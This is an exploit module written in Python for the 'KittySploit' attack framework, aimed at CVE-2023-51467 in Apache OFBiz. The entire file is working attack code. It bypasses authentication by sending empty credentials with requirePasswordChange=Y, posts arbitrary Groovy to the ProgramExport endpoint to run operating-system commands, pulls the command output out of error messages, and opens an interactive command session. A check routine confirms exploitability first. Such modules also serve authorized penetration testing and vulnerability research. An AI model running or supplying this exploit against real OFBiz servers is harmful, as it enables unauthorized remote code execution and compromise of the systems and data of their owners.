Apache OFBiz Auth Bypass Groovy RCE (CVE-2023-51467)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache OFBiz auth bypass + Groovy RCE (CVE-2023-51467) — execute session."""

from __future__ import annotations

import re
from urllib.parse import urlencode

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache OFBiz Auth Bypass Groovy RCE (CVE-2023-51467)',
        'description': (
            'Exploits CVE-2023-51467 authentication bypass (empty credentials + '
            'requirePasswordChange=Y) to reach /webtools/control/ProgramExport and '
            'run arbitrary Groovy via groovyProgram. Opens an interactive execute session.'
        ),
        'author': ['SonicWall', 'KittySploit Team'],
        'cve': ['CVE-2023-51467', 'CVE-2023-49070'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-51467',
            'https://ofbiz.apache.org/security.html',
        ],
        'tags': [
            'ofbiz', 'apache', 'groovy', 'auth-bypass', 'rce', 'unauth',
            'kev', 'cve-2023-51467',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['ofbiz', 'apache'],
                'endpoint_pattern_any': ['/webtools/control/ProgramExport'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'ProgramExport groovyProgram'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2023_51467_detect'],
            },
        },
    }

    port = OptPort(8443, 'OFBiz HTTPS port', True)
    ssl = OptBool(True, 'Use HTTPS', True, advanced=True)
    shell = OptChoice(
        'unix',
        'Shell for Groovy .execute()',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    _EXPORT_PATH = '/webtools/control/ProgramExport'
    _PING_PATH = '/webtools/control/ping'

    def _join_path(self, suffix: str) -> str:
        base = (self.path or '/').rstrip('/')
        if not suffix.startswith('/'):
            suffix = '/' + suffix
        return f'{base}{suffix}' if base else suffix

    def _bypass_query(self) -> str:
        return urlencode({
            'USERNAME': '',
            'PASSWORD': '',
            'requirePasswordChange': 'Y',
        })

    @staticmethod
    def _escape_groovy_str(value: str) -> str:
        return str(value).replace('\\', '\\\\').replace("'", "\\'")

    def _groovy_command(self, cmd: str, capture: bool) -> str:
        safe = self._escape_groovy_str(cmd)
        if capture:
            return f"throw new Exception('{safe}'.execute().text);"
        if self.shell == 'windows':
            return f"'cmd /c {safe}'.execute();"
        return f"'{safe}'.execute();"

    def _run_groovy(self, program: str):
        query = self._bypass_query()
        path = f'{self._join_path(self._EXPORT_PATH)}?{query}'
        return self.http_request(
            method='POST',
            path=path,
            data={'groovyProgram': program},
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=True,
        )

    def _extract_output(self, body: str) -> str:
        if not body:
            return ''
        for pattern in (
            r'Exception:\s*([^\n<]+)',
            r'groovy\.lang\.GroovyRuntimeException[^:]*:\s*([^\n<]+)',
            r'_ERROR_MESSAGE_[^>]*>([^<]+)',
        ):
            match = re.search(pattern, body, re.I)
            if match:
                return match.group(1).strip()
        return body

    def execute(self, cmd: str) -> str:
        program = self._groovy_command(cmd, capture=True)
        r = self._run_groovy(program)
        if not r:
            return ''
        return self._extract_output(r.text or '')

    def check(self):
        query = self._bypass_query()
        r = self.http_request(
            method='GET',
            path=f'{self._join_path(self._PING_PATH)}?{query}',
            allow_redirects=True,
        )
        if not r or int(r.status_code or 0) not in (200, 500):
            return {
                'vulnerable': False,
                'reason': 'Auth bypass ping endpoint not reachable',
                'confidence': 'medium',
            }
        body = (r.text or '').lower()
        if 'login' in body and 'ping' not in body and 'pong' not in body:
            return {
                'vulnerable': False,
                'reason': 'Still redirected to login (bypass failed)',
                'confidence': 'high',
            }
        token = self.random_text(8)
        out = self.execute(f'echo {token}')
        if token in (out or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2023-51467 confirmed via Groovy echo',
                'confidence': 'high',
            }
        if re.search(r'uid=\d+', out or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2023-51467 confirmed via Groovy id',
                'confidence': 'high',
            }
        return {
            'vulnerable': True,
            'reason': 'Auth bypass reachable; Groovy execution not confirmed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()